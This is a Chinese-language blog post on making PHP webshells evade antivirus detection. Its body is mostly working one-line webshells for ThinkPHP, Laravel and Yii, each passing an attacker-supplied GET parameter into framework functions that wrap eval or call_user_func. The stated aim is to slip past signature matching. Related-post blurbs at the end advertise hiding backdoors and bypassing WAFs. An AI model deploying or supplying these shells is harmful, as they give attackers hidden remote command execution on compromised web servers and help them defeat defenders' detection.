什么?你还不会webshell免杀?

VSole2022-07-28 17:09:46

基于框架免杀

thinkphp

array_map_recursive函数

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Common/functions.php");
array_map_recursive(I('get.func','',''),I('get.cmd','',''));

array_map_recursive函数分析

这里存在一个call_user_func命令执行函数

function array_map_recursive($filter, $data) {
     $result = array();
     foreach ($data as $key => $val) {
         $result[$key] = is_array($val)
             ? array_map_recursive($filter, $val)
             : call_user_func($filter, $val);
     }
     return $result;
 }

免杀效果

B函数

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Common/functions.php");
include(WWW_PATH."ThinkPHP/Library/Think/Hook.class.php");
class demo{
    function test($v){
        I('get.func','','')($v);
    }
}
B("demo","test",I('get.cmd','',''));

免杀效果

B函数分析

function B($name, $tag='',&$params=NULL) {
    if(''==$tag){
        $name   .=  'Behavior';
    }
    return \Think\Hook::exec($name,$tag,$params);
}

exec函数分析

在exec函数用存在有个类调用,且所有的参数都可控

    static public function exec($name, $tag,&$params=NULL) {
        if('Behavior' == substr($name,-8) ){
            // 行为扩展必须用run入口方法
            $tag    =   'run';
        }
        $addon   = new $name();
        return $addon->$tag($params);
    }

smarty_php_tag函数

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Library/Vendor/Smarty/SmartyBC.class.php");
smarty_php_tag("",I('get.cmd','',''),"");

免杀效果

smarty_php_tag函数分析

直接存在命令执行,且参数可控

function smarty_php_tag($params, $content, $template, &$repeat)
{
    eval($content);
    return '';
}

I函数

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Common/functions.php");
I('get.func','','')(I('get.cmd','',''));

免杀效果

Laravel

EvalLoader#load

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$c = new Mockery\Generator\MockConfiguration(array(),array(),array(),'demo');
$b = new Mockery\Generator\MockDefinition($c,'<?='.$_GET['cmd']);
$a = new Mockery\Loader\EvalLoader();
$a->load($b);

免杀效果

EvalLoader#load分析

eval命令执行函数,参数可控

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }
        eval("?>" . $definition->getCode());
    }
}

MockTrait#generate

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo');
$a->generate();

免杀效果

MockTrait#generate函数分析

存在一个eval函数

    public function generate(): string
    {
        if (!\class_exists($this->mockName, false)) {
            eval($this->classCode);
        }
        return $this->mockName;
    }

yii

MockTrait#generate

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo');
$a->generate();

免杀效果

view#evaluateDynamicContent

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$a = new yii\base\View();
$a->evaluateDynamicContent($_GET['cmd']);

免杀效果

view#evaluateDynamicContent分析

    public function evaluateDynamicContent($statements)
    {
        return eval($statements);
    }

总结

通过文件包含框架文件,用框架内置的函数来替换一句话木马中的功能函数,达到绕过特征匹配,如果后期规则增强,可以通过搜索新的函数来间接调用函数,像反序列化利用链一样,当然,还有很多其他函数可以使用在这里就不多列举。

免杀php
本作品采用《CC 协议》,转载必须注明作者和本文链接
Windows defender 介绍Microsoft Defender 防病毒软件在 Windows 1
前言前段时间在刷CTF题目的时候碰到了各种过滤,其中给我印象最为深刻的是无字母数字Webshell,但是刷题的时候总觉得理解不是那么透彻,于是考虑写一篇总结文章好好总结一下。
下载dll,并添加至ext中在php.ini 中添加该扩展修改configure.ini;?具体步骤通过phpinfo获取扩展信息,根据不同的加密扩展进行尝试利用默认密钥进行加密,通过访问webshell来判断密钥是否正确,当然,这种方法其实只能用于权限维持需要拿到权限后获取扩展文件破解后,才能稳定获取密钥,进而加密webshell
传统的php不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
传统的php不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
0x01 php传统的php不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
php后门隐藏技巧大全
2022-08-03 06:49:26
辛辛苦苦拿下的 shell,几天没看,管理员给删了。其实隐藏的技巧也有很多1.attrib +s +h一创建系统隐藏文件:attrib +s +a +r +hattrib +s +h 文件名在 Windows 10下即使开启了显示隐藏的项目,或dir仍然看不见。利用ADS 数据流,我们可以做很多有趣的事情。
VSole
网络安全专家